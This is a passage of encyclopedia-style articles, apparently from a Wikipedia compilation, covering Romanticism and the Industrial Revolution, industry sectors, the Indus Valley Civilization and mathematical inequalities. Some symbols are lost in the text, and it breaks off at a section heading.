          Marxism is essentially a reaction to the Industrial Revolution. According to Karl Marx, industrialisation polarised society into the bourgeoisie (those who own the means of production, the factories and the land) and the much larger proletariat (the working class who actually perform the labour necessary to extract something valuable from the means of production). He saw the industrialisation process as the logical dialectical progression of feudal economic modes, necessary for the full development of capitalism, which he saw as in itself a necessary precursor to the development of socialism and eventually communism.;


          


          Romanticism


          During the Industrial Revolution an intellectual and artistic hostility towards the new industrialisation developed. This was known as the Romantic movement. Its major exponents in English included the artist and poet William Blake and poets William Wordsworth, Samuel Taylor Coleridge, John Keats, Byron and Percy Bysshe Shelley. The movement stressed the importance of "nature" in art and language, in contrast to 'monstrous' machines and factories; the "Dark satanic mills" of Blake's poem And did those feet in ancient time. Mary Shelley's short story Frankenstein reflected concerns that scientific progress might be two-edged.


          


          History of the name


          The term Industrial Revolution applied to technological change was common in the 1830s. Louis-Auguste Blanqui in 1837 spoke of la rvolution industrielle. Friedrich Engels in The Condition of the Working Class in England in 1844 spoke of "an industrial revolution, a revolution which at the same time changed the whole of civil society."


          In his book Keywords: A Vocabulary of Culture and Society, Raymond Williams states in the entry for Industry: The idea of a new social order based on major industrial change was clear in Southey and Owen, between 1811 and 1818, and was implicit as early as Blake in the early 1790s and Wordsworth at the turn of the century.


          Credit for popularising the term may be given to Arnold Toynbee, whose lectures given in 1881 gave a detailed account of the process.
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          An industry or sector (from Latin industrius, "diligent, industrious") is the manufacturing of a good or service within a category.


          There are four key sectors of industry: the primary sector, largely raw material extraction industries such as mining and farming; the secondary sector, involving refining and manufacturing; the tertiary sector, which deals with services (such as law and medicine) and distribution of manufactured goods; and the quaternary sector, a relatively new type of industry focusing on technological research, design and development such as computer programming and biochemistry.


          In economics and urban planning, industry is a synonym for the secondary sector, which is a type of economic activity involved in the manufacturing of raw materials into goods and products.


          Industry in the second sense became a key sector of production in European and North American countries during the Industrial Revolution, which upset previous mercantile and feudal economies through many successive rapid advances in technology, such as the steel and coal production. It is aided by technological advances, and has continued to develop into new types and sectors to this day. Industrial countries then assumed a capitalist economic policy. Railroads and steam-powered ships began speedily establishing links with previously unreachable world markets, enabling private companies to develop to then-unheard of size and wealth. Following the Industrial Revolution, perhaps a third of the world's economic output is derived from manufacturing industriesmore than agriculture's share.


          Many developed countries (for example the UK, the U.S., and Canada) and many developing/semi-developed countries (People's Republic of China, India etc.) depend significantly on industry. Industries, the countries they reside in, and the economies of those countries are interlinked in a complex web of interdependence.
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          History


          


          Proto-industry


          Early industries involved manufacturing goods for trade, including weapons, clothing, pottery. In medieval Europe, industry became dominated by the guilds in cities and towns, who mutual support for the member's interests, and maintained standards of workmanship and ethical conduct.


          


          Industrial development


          The industrial revolution led to the development of factories for large-scale production, with consequent changes in society. Originally the factories were steam-powered, but later transitioned to electricity once an electrical grid was developed. The mechanized assembly line was introduced to assemble parts in a repeatable fashion, with individual workers performing specific steps during the process. This led to significant increases in efficiency, lowering the cost of the end process. Later automation was increasingly used to replace human operators. This process has accelerated with the development of the computer and the robot.


          


          Declining industries


          Historically certain manufacturing industries have gone into a decline due to various economic factors, including the development of replacement technology or the loss of competitive advantage. An example of the former is the decline in carriage manufacturing when the automobile was mass-produced.


          A recent trend has been the migration of prosperous, industrialized nations toward a post-industrial society. This is manifested by an increase in the service sector at the expense of manufacturing, and the development of an information-based economy, the so-called informational revolution. In a post-industrial society, manufacturing is relocated to more economically-favorable locations through a process of offshoring.


          


          Industrial technology


          There are several branches of technology and engineering specialised for industrial application. This includes mathematical models, patented inventions and craft skills. See automation, industrial architecture, industrial design, industrial process, industrial arts and industrial applicability.


          


          Industry and the environment


          
            	See pollution and industrial ecology.

          


          


          Industry sectors and classification


          There are many other different kinds of industries, and they are usually divided into different classes or sectors. The primary sector of industry is agriculture, mining and raw material extraction. The secondary sector of industry is manufacturing - which is what is colloquially meant by the word "industry". The tertiary sector of industry is service production. Sometimes one talks about a quaternary sector of industry, consisting of intellectual services such as R&D.


          
            	light industry - heavy industry


            	labor-intensive industry - capital-intensive industry


            	By product: chemical industry, petroleum industry, meatpacking industry, hospitality industry, food industry, fish industry, software industry, paper industry, entertainment industry, semiconductor industry, cultural industry, poverty industry

          


          ISIC


          ISIC(rev.4) stands for International Standard Industrial Classification of ALL economic activities, the most complete and systematic industrial classification made by United Nations Statistics Division. ISIC Rev.4 is a standard classification of economic activities arranged so that entities can be classified according to the activity they carry out. The categories of ISIC at the most detailed level (classes) are delineated according to what is, in most countries, the customary combination of activities described in statistical units and considers the relative importance of the activities included in these classes. While ISIC Rev.4 continues to use criteria such as input, output and use of the products produced, more emphasis has been given to the character of the production process in defining and delineating ISIC classes.


          Yahoo!Finance


          Industry Centre by Yahoo!Finance is also very useful (shows Trends of all industrial sectors).
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          The Indus Valley Civilization (c. 30001500 BCE, Mature period 26001900 BCE), abbreviated IVC, was an ancient civilization that flourished in the Indus River basin. Primarily centred in the Sindh and Punjab provinces of Pakistan, Gujarat and Rajasthan in India, it extends westward into the Balochistan province. Remains have been excavated from Afghanistan, Turkmenistan and Iran, as well. The mature phase of this civilization is technically known as the Harappan Civilization, after the first of its cities to be unearthed; Harappa. Excavation of IVC sites has been ongoing since 1920, with important breakthroughs occurring as recently as 1999.


          The civilization is sometimes referred to as the Indus Ghaggar-Hakra civilization or the Indus-Sarasvati civilization. The appellation Indus-Sarasvati is based on the possible identification of the Ghaggar-Hakra River with the Sarasvati River mentioned in the Rig Veda, but this usage is disputed on linguistic and geographical grounds.


          


          Historical context


          The IVC has been tentatively identified with the toponym Meluhha known from Sumerian records. It has been compared in particular with the civilizations of Elam (also in the context of the Elamo-Dravidian hypothesis) and with Minoan Crete (because of such isolated cultural parallels such as the ubiquitous goddess worship and depictions of bull-leaping). The mature (Harappan) phase of the IVC is contemporary to the Early to Middle Bronze Age in the Ancient Near East, in particular the Old Elamite period, Early Dynastic to Ur III Mesopotamia, Prepalatial Minoan Crete and Old Kingdom to First Intermediate Period Egypt.


          The language of the IVC has not yet been determined. Proto-Dravidian, Proto-Indo-Iranian, Proto-Munda, the prefixing Para-Munda and a "Language X" or "lost phylum" perhaps related or ancestral to the Nihali language have been proposed as the language.


          


          Discovery and excavation


          The ruins of Harrappa were first described in 1842 by Charles Masson in his Narrative of Various Journeys in Baluchistan, Afghanistan and the Panjab, where locals talked of an ancient city extending "thirteen cosses" (about 25 miles), but no archaeological interest would attach to this for nearly a century.


          In 1856, British engineers John and William Brunton were laying the East Indian Railway Company line connecting the cities of Karachi and Lahore. John wrote: "I was much exercised in my mind how we were to get ballast for the line of the railway." They were told of an ancient ruined city near the lines, called Brahminabad. Visiting the city, he found it full of hard well-burnt bricks, and "convinced that there was a grand quarry for the ballast I wanted", the city of Brahminabad was reduced to ballast. A few months later, further north, John's brother William Brunton's "section of the line ran near another ruined city, bricks from which had already been used by villagers in the nearby village of Harappa at the same site. These bricks now provided ballast along 93 miles of the railroad track running from Karachi to Lahore."


          In 187275 Alexander Cunningham published the first Harappan seal (with an erroneous identification as Brahmi letters). It was half a century later, in 1912, that more Harappan seals were discovered by J. Fleet, prompting an excavation campaign under Sir John Hubert Marshall in 192122 and resulting in the discovery of the hitherto unknown civilization at Harappa by Sir John Marshall, Rai Bahadur Daya Ram Sahni and Madho Sarup Vats, and at Mohenjo-daro by Rakhal Das Banerjee, E. J. H. MacKay, and Sir John Marshall. By 1931, much of Mohenjo-Daro had been excavated, but excavations continued, such as that led by Sir Mortimer Wheeler, director of the Archaeological Survey of India in 1944. Among other archaeologists who worked on IVC sites before the partition of the subcontinent in 1947 were Ahmad Hasan Dani, Brij Basi Lal, Nani Gopal Majumdar, and Sir Marc Aurel Stein.


          Following the partition of British India, the bulk of the archaeological finds were inherited by Pakistan where most of the IVC was based, and excavations from this time include those led by Sir Mortimer Wheeler in 1949, archaeological adviser to the Government of Pakistan. Outposts of the Indus Valley civilization were excavated as far west as Sutkagan Dor in Baluchistan, as far north as at Shortugai on the Amudarya or Oxus River in current Afghanistan.


          


          Periodisation


          The mature phase of the Harappan civilization lasted from c. 2600 to 1900 BCE. With the inclusion of the predecessor and successor culturesEarly Harappan and Late Harappan, respectivelythe entire Indus Valley Civilization may be taken to have lasted from the 33rd to the 14th centuries BCE. Two terms are employed for the periodization of the IVC: Phases and Eras. The Early Harappan, Mature Harappan, and Late Harappan phases are also called the Regionalisation, Integration, and Localisation eras, respectively, with the Regionalization era reaching back to the Neolithic Mehrgarh II period. "Discoveries at Mehrgarh changed the entire concept of the Indus civilization," according to Ahmad Hasan Dani, professor emeritus at Quaid-e-Azam University, Islamabad. "There we have the whole sequence, right from the beginning of settled village life."


          
            
              	Date range (BCE)

              	Phase

              	Era
            


            
              	5500-3300

              	Mehrgarh II-VI ( Pottery Neolithic)

              	Regionalisation Era
            


            
              	3300-2600

              	Early Harappan (Early Bronze Age)
            


            
              	3300-2800

              	Harappan 1 (Ravi Phase)
            


            
              	2800-2600

              	Harappan 2 (Kot Diji Phase, Nausharo I, Mehrgarh VII)
            


            
              	2600-1900

              	Mature Harappan (Middle Bronze Age)

              	Integration Era
            


            
              	2600-2450

              	Harappan 3A (Nausharo II)
            


            
              	2450-2200

              	Harappan 3B
            


            
              	2200-1900

              	Harappan 3C
            


            
              	1900-1300

              	Late Harappan ( Cemetery H, Late Bronze Age)

              	Localisation Era
            


            
              	1900-1700

              	Harappan 4
            


            
              	1700-1300

              	Harappan 5
            

          


          


          Geography


          
            [image: Extent and major sites of the Indus Valley Civilization. The shaded area does not include recent excavations such as Rupar, Balakot, Shortughai in Afghanistan, Manda in Jammu, etc. See [1] for a more detailed map.]
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          The Indus Valley Civilization encompassed most of Pakistan, extending from Balochistan to Sindh, with an upward reach to Punjab from east of the Jhelum River to Rupar on the upper Sutlej; recently, Indus sites have been discovered in Pakistan's northwestern Frontier Province as well. Other IVC colonies can be found in Afghanistan while smaller isolated colonies can be found as far away as Turkmenistan and in Gujurat. Coastal settlements extended from Sutkagan Dor in Western Baluchistan to Lothal in Gujarat. An Indus Valley site has been found on the Oxus River at Shortughai in northern Afghanistan, in the Gomal River valley in northwestern Pakistan, at Manda on the Beas River near Jammu, India, and at Alamgirpur on the Hindon River, only 28 km from Delhi. Indus Valley sites have been found most often on rivers, but also on the ancient seacoast, for example, Balakot, and on islands, for example, Dholavira.


          There is evidence of dry river beds overlapping with the Hakra channel in Pakistan and the seasonal Ghaggar River in India. Many Indus Valley (or Harappan) sites have been discovered along the Ghaggar-Hakra beds. Among them are: Rupar, Rakhigarhi, Sothi, Kalibangan, and Ganwariwala. According to J. G. Shaffer and D. A. Lichtenstein, the Harappan Civilization "is a fusion of the Bagor, Hakra, and Koti Dij traditions or 'ethnic groups' in the Ghaggar-Hakra valley on the borders of India and Pakistan."


          According to some archaeologists, over 500 Harappan sites have been discovered along the dried up river beds of the Ghaggar-Hakra River and its tributaries, in contrast to only about 100 along the Indus and its tributaries; consequently, in their opinion, the appellation Indus Ghaggar-Hakra civilisation or Indus-Saraswati civilisation is justified. However, these politically inspired arguments are disputed by other archaeologists who state that the Ghaggar-Hakra desert area has been left untouched by settlements and agriculture since the end of the Indus period and hence shows more sites than found in the alluvium of the Indus valley; second, that the number of Harappan sites along the Ghaggar-Hakra river beds have been exaggerated and that the Ghaggar-Hakra, when it existed, was a tributary of the Indus, so the new nomenclature is redundant. "Harappan Civilization" remains the correct one, according to the common archaeological usage of naming a civilization after its first findspot.


          


          Origins


          There are several theories as to the origin of the Indus Valley civilization. The earliest hypothesis was that it was an early form of a Vedic and early Sanskrit civilization which would come to dominate most of South Asia, which was presumed to have been characterized by influence from Indo-European migrations. However, this theory began to be rejected when no signs of the traditional culture associated with the Vedas was uncovered in that of the Indus Valley. The absence of horses amongst the many realistic representations of animals was also considered significant, considering the importance of horses and chariots to the culture described in the Vedas. Detailed bone analysis has revealed that the horse itself was introduced to the subcontinent only at the beginning of the second millennium B.C., which contributes to the chronological problem with this theory. Finally, the concept of urban life which dominates the Indus Valley civilization is foreign to the more rural lifestyle which is described in the Vedas.


          The second theory, which is currently the most popular, was that the civilization was of proto-Dravidian origin. This theory was first proposed by researchers from Russia and Finland who attempted to show that Indus valley symbols could be derived from the Dravidian language group. Today, the Dravidian language family is concentrated mostly in southern India and northern Sri Lanka, but pockets of it still remain throughout the rest of India and Pakistan (the Brahui language), which lends credence to the theory. Finnish Indologist Asko Parpola concludes that the uniformity of the Indus inscriptions precludes any possibility of widely different languages being used, and that an early form of Dravidian language must have been the language of the Indus people. However, the proto-Dravidian origin theory is far from being confirmed due to an emphasis on linguistic connection while evidence of a broader cultural connection remains to be found..


          


          Early Harappan


          The Early Harappan Ravi Phase, named after the nearby Ravi River, lasted from circa 3300 BCE until 2800 BCE. It is related to the Hakra Phase, identified in the Ghaggar-Hakra River Valley to the west, and predates the Kot Diji Phase (2800-2600 BCE, Harappan 2), named after a site in northern Sindh, Pakistan, near Mohenjo Daro. The earliest examples of the Indus script date from around 3000 BCE.


          The mature phase of earlier village cultures is represented by Rehman Dheri and Amri in Pakistan. Kot Diji (Harappan 2) represents the phase leading up to Mature Harappan, with the citadel representing centralised authority and an increasingly urban quality of life. Another town of this stage was found at Kalibangan in India on the Hakra River.


          Trade networks linked this culture with related regional cultures and distant sources of raw materials, including lapis lazuli and other materials for bead-making. Villagers had, by this time, domesticated numerous crops, including peas, sesame seeds, dates and cotton, as well as various animals, including the water buffalo. Early Harappan communities turned to large urban centres by 2600 BCE, from where the mature Harappan phase started.


          


          Mature Harappan


          By 2600 BCE, the Early Harappan communities had been turned into large urban centers. Such urban centers include Harappa and Mohenjo Daro in Pakistan and Lothal in India. . In total, over 1,052 cities and settlements have been found, mainly in the general region of the Indus Rivers and their tributaries.


          


          Cities
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          A sophisticated and technologically advanced urban culture is evident in the Indus Valley Civilization making them the first urban centers in the region. The quality of municipal town planning suggests the knowledge of urban planning and efficient municipal governments which placed a high priority on hygiene, or, alternately, accessibility to the means of religious ritual.


          As seen in Harappa, Mohenjo-daro and the recently partially excavated Rakhigarhi, this urban plan included the world's first urban sanitation systems. Within the city, individual homes or groups of homes obtained water from wells. From a room that appears to have been set aside for bathing, waste water was directed to covered drains, which lined the major streets. Houses opened only to inner courtyards and smaller lanes. The house-building in some villages in the region still resembles in some respects the house-building of the Harappans.


          The ancient Indus systems of sewerage and drainage that were developed and used in cities throughout the Indus region were far more advanced than any found in contemporary urban sites in the Middle East and even more efficient than those in many areas of Pakistan and India today. The advanced architecture of the Harappans is shown by their impressive dockyards, granaries, warehouses, brick platforms and protective walls. The massive walls of Indus cities most likely protected the Harappans from floods and may have dissuaded military conflicts.


          The purpose of the citadel remains debated. In sharp contrast to this civilization's contemporaries, Mesopotamia and Ancient Egypt, no large monumental structures were built. There is no conclusive evidence of palaces or templesor of kings, armies, or priests. Some structures are thought to have been granaries. Found at one city is an enormous well-built bath, which may have been a public bath. Although the citadels were walled, it is far from clear that these structures were defensive. They may have been built to divert flood waters.


          Most city dwellers appear to have been traders or artisans, who lived with others pursuing the same occupation in well-defined neighborhoods. Materials from distant regions were used in the cities for constructing seals, beads and other objects. Among the artifacts discovered were beautiful glazed faence beads. Steatite seals have images of animals, people (perhaps gods) and other types of inscriptions, including the yet un-deciphered writing system of the Indus Valley Civilization. Some of the seals were used to stamp clay on trade goods and most probably had other uses as well.


          Although some houses were larger than others, Indus Civilization cities were remarkable for their apparent, if relative, egalitarianism. All the houses had access to water and drainage facilities. This gives the impression of a society with relatively low wealth concentration, though clear social leveling is seen in personal adornments.


          


          Science


          The people of the Indus Civilization achieved great accuracy in measuring length, mass, and time. They were among the first to develop a system of uniform weights and measures. Their measurements are said to be extremely precise; however, a comparison of available objects indicates large scale variation across the Indus territories. Their smallest division, which is marked on an ivory scale found in Lothal, was approximately 1.704 mm, the smallest division ever recorded on a scale of the Bronze Age. Harappan engineers followed the decimal division of measurement for all practical purposes, including the measurement of mass as revealed by their hexahedron weights.


          These chert weights were in a perfect ratio of 4:2:1 with weights of 0.05, 0.1, 0.2, 0.5, 1, 2, 5, 10, 20, 50, 100, 200, and 500 units, with each unit weighing approximately 28 grams, similar to the English Imperial ounce or Greek uncia, and smaller objects were weighed in similar ratios with the units of 0.871. However, as in other cultures, actual weights were not uniform throughout the area. The weights and measures later used in Kautilya's Arthashastra (4th century BCE) are the same as those used in Lothal.


          Unique Harappan inventions include an instrument which was used to measure whole sections of the horizon and the tidal lock. In addition, Harappans evolved some new techniques in metallurgy and produced copper, bronze, lead and tin. The engineering skill of the Harappans was remarkable, especially in building docks after a careful study of tides, waves and currents. The function of the so-called "dock" at Lothal, however, is disputed.


          In 2001, archaeologists studying the remains of two men from Mehrgarh, Pakistan, made the discovery that the people of the Indus Valley Civilisation, from the early Harappan periods, had knowledge of proto- dentistry. Later, in April 2006, it was announced in the scientific journal Nature that the oldest (and first early Neolithic) evidence for the drilling of human teeth in vivo (i.e., in a living person) was found in Mehrgarh. Eleven drilled molar crowns from nine adults were discovered in a Neolithic graveyard in Mehrgarh that dates from 7,500-9,000 years ago. According to the authors, their discoveries point to a tradition of proto-dentistry in the early farming cultures of that region.


          A touchstone bearing gold streaks was found in Banawali, which was probably used for testing the purity of gold (such a technique is still used in some parts of India).


          


          Arts and culture


          


          Various sculptures, seals, pottery, gold jewelry and anatomically detailed figurines in terracotta, bronze and steatite have been found at the excavation sites.


          A number of gold, terra-cotta and stone figurines of girls in dancing poses reveal the presence of some dance form. Also, these terra-cotta figurines included cows, bears, monkeys, and dogs. Sir John Marshall is known to have reacted with surprise when he saw the famous Indus bronze statuette of a slender-limbed dancing girl in Mohenjo-daro:


          
            
               When I first saw them I found it difficult to believe that they were prehistoric; they seemed to completely upset all established ideas about early art, and culture.. Modeling such as this was unknown in the ancient world up to the Hellenistic age of Greece, and I thought, therefore, that some mistake must surely have been made; that these figures had found their way into levels some 3000 years older than those to which they properly belonged.  Now, in these statuettes, it is just this anatomical truth which is so startling; that makes us wonder whether, in this all-important matter, Greek artistry could possibly have been anticipated by the sculptors of a far-off age on the banks of the Indus.

            

          


          Many crafts "such as shell working, ceramics, and agate and glazed steatite bead making" were used in the making of necklaces, bangles, and other ornaments from all phases of Harappan sites and some of these crafts are still practiced in the subcontinent today. Some make-up and toiletry items (a special kind of combs (kakai), the use of collyrium and a special three-in-one toiletry gadget) that were found in Harappan contexts still have similar counterparts in modern India. Terracotta female figurines were found (ca. 2800-2600 BCE) which had red colour applied to the "manga" (line of partition of the hair).


          Seals have been found at Mohenjo-daro depicting a figure standing on its head, and another sitting cross-legged in what some call a yoga-like pose (see image, the so-called Pashupati, below).


          A harp-like instrument depicted on an Indus seal and two shell objects found at Lothal indicate the use of stringed musical instruments. The Harappans also made various toys and games, among them cubical dice (with one to six holes on the faces), which were found in sites like Mohenjo-Daro.


          


          Trade and transportation
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          The Indus civilization's economy appears to have depended significantly on trade, which was facilitated by major advances in transport technology. These advances included bullock carts that are identical to those seen throughout South Asia today, as well as boats. Most of these boats were probably small, flat-bottomed craft, perhaps driven by sail, similar to those one can see on the Indus River today; however, there is secondary evidence of sea-going craft. Archaeologists have discovered a massive, dredged canal and what they regard as a docking facility at the coastal city of Lothal in western India (Gujarat state). An extensive canal network, used for irrigation, has however also been discovered by H.-P. Francfort.


          During 43003200 BCE of the chalcolithic period (copper age), the Indus Valley Civilization area shows ceramic similarities with southern Turkmenistan and northern Iran which suggest considerable mobility and trade. During the Early Harappan period (about 32002600 BCE), similarities in pottery, seals, figurines, ornaments, etc., document intensive caravan trade with Central Asia and the Iranian plateau.


          Judging from the dispersal of Indus civilisation artifacts, the trade networks, economically, integrated a huge area, including portions of Afghanistan, the coastal regions of Persia, northern and western India, and Mesopotamia.


          There was an extensive maritime trade network operating between the Harappan and Mesopotamian civilizations as early as the middle Harappan Phase, with much commerce being handled by "middlemen merchants from Dilmun" (modern Bahrain and Failaka located in the Persian Gulf). Such long-distance sea trade became feasible with the innovative development of plank-built watercraft, equipped with a single central mast supporting a sail of woven rushes or cloth.


          Several coastal settlements like Sotkagen-dor (astride Dasht River, north of Jiwani), Sokhta Koh (astride Shadi River, north of Pasni) and Balakot (near Sonmiani) in Pakistan along with Lothal in India testify to their role as Harappan trading outposts. Shallow harbors located at the estuary of rivers opening into the sea allowed brisk maritime trade with Mesopotamian cities.


          


          Agriculture


          Some post-1980 studies indicate that food production was largely indigenous to the Indus Valley. It is known that the people of Mehrgarh used domesticated wheats and barley, and the major cultivated cereal crop was naked six-row barley, a crop derived from two-row barley (see Shaffer and Liechtenstein 1995, 1999). Archaeologist Jim G. Shaffer (1999: 245) writes that the Mehrgarh site "demonstrates that food production was an indigenous South Asian phenomenon" and that the data support interpretation of "the prehistoric urbanization and complex social organization in South Asia as based on indigenous, but not isolated, cultural developments." Others, such as Dorian Fuller, however, indicate that it took some 2000 years before Middle Eastern wheat was acclimatised to South Asian conditions.


          Indus civilization agriculture must have been highly productive; after all, it was capable of generating surpluses sufficient to support tens of thousands of urban residents who were not primarily engaged in agriculture. It relied on the considerable technological achievements of the pre-Harappan culture, including the plough. Still, very little is known about the farmers who supported the cities or their agricultural methods. Some of them undoubtedly made use of the fertile alluvial soil left by rivers after the flood season, but this simple method of agriculture is not thought to be productive enough to support cities. There is no evidence of irrigation, but such evidence could have been obliterated by repeated, catastrophic floods.


          The Indus civilization appears to contradict the hydraulic despotism hypothesis of the origin of urban civilization and the state. According to this hypothesis, all early, large-scale civilizations arose as a by-product of irrigation systems capable of generating massive agricultural surpluses.


          It is often assumed that intensive agricultural production requires dams and canals. This assumption is easily refuted. Throughout Asia, rice farmers produce significant agricultural surpluses from terraced, hillside rice paddies, which result not from slavery but rather the accumulated labor of many generations of people. Instead of building canals, Indus civilization people may have built water diversion schemes, whichlike terrace agriculturecan be elaborated by generations of small-scale labor investments. Such canals have, however, been found in northwestern India (Francfort). It should be noted that in only the easternmost section of the Indus Civilisation, people could build their lives around the monsoon, a weather pattern in which the bulk of a year's rainfall occurs in a four-month period; others had to depend on the seasonal flooding of rivers caused by snow melt at high elevations.


          They domesticated animals like cattle, bears, wild pigs, dogs, water buffalo, elephants, monkeys, dromedary, chickens, goats, cats, and sheep.


          


          Writing or symbol system
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          Well over 400 distinct Indus symbols (some say 600) have been found on seals, small tablets, or ceramic pots and over a dozen other materials, including a "signboard" that apparently once hung over the gate of the inner citadel of the Indus city of Dholavira. Typical Indus inscriptions are no more than four or five characters in length, most of which (aside from the Dholavira "signboard") are exquisitely tiny; the longest on a single surface, which is less than 1 inch (2.54 cm) square, is 17 signs long; the longest on any object (found on three different faces of a mass-produced object) has a length of 26 symbols.


          While the Indus Valley Civilization is often characterized as a literate society on the evidence of these inscriptions, this description has been challenged on linguistic and archaeological grounds: it has been pointed out that the brevity of the inscriptions is unparalleled in any known premodern literate society. Based partly on this evidence, a controversial paper by Farmer, Sproat, and Witzel (2004) argues that the Indus system did not encode language, but was instead similar to a variety of non-linguistic sign systems used extensively in the Near East and other societies. Others have claimed on occasion that the symbols were exclusively used for economic transactions, but this claim leaves unexplained the appearance of Indus symbols on many ritual objects, many of which were mass-produced in molds. No parallels to these mass-produced inscriptions are known in any other early ancient civilizations.


          Photos of many of the thousands of extant inscriptions are published in the Corpus of Indus Seals and Inscriptions (1987, 1991), edited by A. Parpola and his colleagues. Publication of a final third volume, which will reportedly republish photos taken in the 1920s and 1930s of hundreds of lost or stolen inscriptions, along with many discovered in the last few decades, has been announced for several years, but has not yet found its way into print. For now, researchers must supplement the materials in the Corpus by study of the tiny photos in the excavation reports of Marshall (1931), Mackay (1938, 1943), Wheeler (1947), or reproductions in more recent scattered sources.


          


          Religion
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          In view of the large number of figurines found in the Indus valley, it has been widely suggested that the Harappan people worshipped a Mother goddess symbolizing fertility. However, this view has been disputed by S. Clark. Some Indus valley seals show swastikas which are found in later religions and mythologies, especially in Indian religions such as Hinduism. The earliest evidence for elements of Hinduism are present before and during the early Harappan period. Phallic symbols reminiscent of the Hindu Siva lingam have been found in the Harappan remains.


          Many Indus valley seals show animals. One famous seal shows a figure seated in a posture reminiscent of the Lotus position and surrounded by animals was dubbed " Pashupati "Lord of cattle", after an epithet of Shiva's..


          In the earlier phases of their culture, the Harappans buried their dead; however, later, especially in the Cemetery H culture of the late Harrapan period, they also cremated their dead and buried the ashes in burial urns, a transition notably also alluded to in the Rigveda, where the forefathers "both cremated (agnidagdh-) and uncremated (nagnidagdha-)" are invoked ( RV 10.15.14).


          


          Late Harappan


          Around 1800 BCE, signs of a gradual decline began to emerge, and by around 1700 BCE, most of the cities were abandoned. However, the Indus Valley Civilization did not disappear suddenly, and many elements of the Indus Civilization can be found in later cultures. Current archaeological data suggests that material culture classified as Late Harappan may have persisted until at least c. 1000-900 BCE and was partially contemporaneous with the Painted Grey Ware culture. Archaeologists have emphasised that, just as in most areas of the world, there was a continuous series of cultural developments. These link "the so-called two major phases of urbanisation in South Asia".
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          A possible natural reason for the IVC's decline is connected with climate change that is also signaled for the neighboring areas of the Middle East: The Indus valley climate grew significantly cooler and drier from about 1800 BCE, linked to a general weakening of the monsoon at that time. Alternatively, a crucial factor may have been the disappearance of substantial portions of the Ghaggar Hakra river system. A tectonic event may have diverted the system's sources toward the Ganges Plain, though there is complete uncertainty about the date of this event as most settlements inside Ghaggar-Hakra river beds have not yet been dated. Although this particular factor is speculative, and not generally accepted, the decline of the IVC, as with any other civilization, will have been due to a combination of various reasons. New geological research is now being conducted by a group led by Peter Clift, from the University of Aberdeen, to investigate how the courses of rivers have changed in this region since 8000 years ago in order to test whether climate or river reorganizations are responsible for the decline of the Harappan. A 2004 paper indicated that the isotopes of the Ghaggar-Hakra system do not come from the Himalayan glaciers, and were rain-fed instead, contradicting a Harappan time mighty "Sarasvati' river.


          


          Legacy


          In the aftermath of the Indus Civilization's collapse, regional cultures emerged, to varying degrees showing the influence of the Indus Civilization. In the formerly great city of Harappa, burials have been found that correspond to a regional culture called the Cemetery H culture. At the same time, the Ochre Coloured Pottery culture expanded from Rajasthan into the Gangetic Plain. The Cemetery H culture has the earliest evidence for cremation, a practice dominant in Hinduism until today.


          


          
            Retrieved from " http://en.wikipedia.org/wiki/Indus_Valley_Civilization"
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        Inequality
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          In mathematics, an inequality is a statement about the relative size or order of two objects. (See also: equality)


          
            	The notation [image: a < b \!\ ] means that a is less than b and


            	The notation [image: a > b \!\ ] means that a is greater than b.

          


          These relations are known as strict inequality; in contrast


          
            	[image: a \le b] means that a is less than or equal to b;


            	[image: a \ge b] means that a is greater than or equal to b;


            	[image: a \not> b] means that a is not greater than b and


            	[image: a \not< b] means that a is not less than b.

          


          An additional use of the notation is to show that one quantity is much greater than another, normally by several orders of magnitude.


          
            	The notation [image: a \gg b] means that a is much greater than b.


            	The notation [image: a \ll b] means that a is much less than b.

          


          If the sense of the inequality is the same for all values of the variables for which its members are defined, then the inequality is called an "absolute" or "unconditional" inequality. If the sense of an inequality holds only for certain values of the variables involved, but is reversed or destroyed for other values of the variables, it is called a conditional inequality. The sense of an inequality is not changed if both sides are increased or decreased by the same number, or if both sides are multiplied or divided by a positive number; the sense of an inequality is reversed if both members are multiplied or divided by a negative number.


          


          Properties


          Inequalities are governed by the following properties. Note that, for the transitivity, reversal, addition and subtraction, and multiplication and division properties, the property also holds if strict inequality signs (< and >) are replaced with their corresponding non-strict inequality sign ( and ).


          


          Trichotomy


          The trichotomy property states:


          
            	For any real numbers, a and b, exactly one of the following is true:

              
                	a < b


                	a = b


                	a > b

              

            

          


          


          Transitivity


          The transitivity of inequalities states:


          
            	For any real numbers, a, b, c:

              
                	If a > b and b > c; then a > c


                	If a < b and b < c; then a < c

              

            

          


          


          Reversal


          The inequality relations are inverse relations:


          
            	For any real numbers, a and b:

              
                	If a > b then b < a


                	If a < b then b > a

              

            

          


          


          Addition and subtraction


          The properties which deal with addition and subtraction state:


          
            	For any real numbers, a, b, c:

              
                	If a > b, then a + c > b + c and a  c > b  c


                	If a < b, then a + c < b + c and a  c < b  c

              

            

          


          i.e., the real numbers are an ordered group.


          


          Multiplication and division


          The properties which deal with multiplication and division state:


          
            	For any real numbers, a, b, c:

              
                	If c is positive and a < b, then ac < bc


                	If c is negative and a < b, then ac > bc

              

            

          


          More generally this applies for an ordered field, see below.


          


          Additive inverse


          The properties for the additive inverse state:


          
            	For any real numbers a and b

              
                	If a < b then a > b


                	If a > b then a < b

              

            

          


          


          Multiplicative inverse


          The properties for the multiplicative inverse state:


          
            	For any real numbers a and b that are both positive or both negative

              
                	If a < b then 1/a > 1/b


                	If a > b then 1/a < 1/b

              

            

          


          


          Applying a function to both sides


          We consider two cases of functions: monotonic and strictly monotonic.


          Any strictly monotonically increasing function may be applied to both sides of an inequality and it will still hold. Applying a strictly monotonically decreasing function to both sides of an inequality means the opposite inequality now holds. The rules for additive and multiplicative inverses are both examples of applying a monotonically decreasing function.


          If you have a non-strict inequality (a  b, a  b) then:


          
            	Applying a monotonically increasing function preserves the relation ( remains ,  remains )


            	Applying a monotonically decreasing function reverses the relation ( becomes ,  becomes )

          


          It will never become strictly unequal, since, for example, 3  3 does not imply that 3 < 3.


          


          Ordered fields


          If F,+,* be a field and  be a total order on F, then F,+,*, is called an ordered field if and only if:


          
            	if a  b then a + c  b + c


            	if 0  a and 0  b then 0  a b

          


          Note that both [image: \mathbb{Q}],+,*, and [image: \mathbb{R}],+,*, are ordered fields.


           cannot be defined in order to make [image: \mathbb{C}],+,*, an ordered field.


          The non-strict inequalities  and  on real numbers are total orders. The strict inequalities < and > on real numbers are strict total orders http://en.wikipedia.org/wiki/Total_order#Strict_total_order.


          


          Chained notation


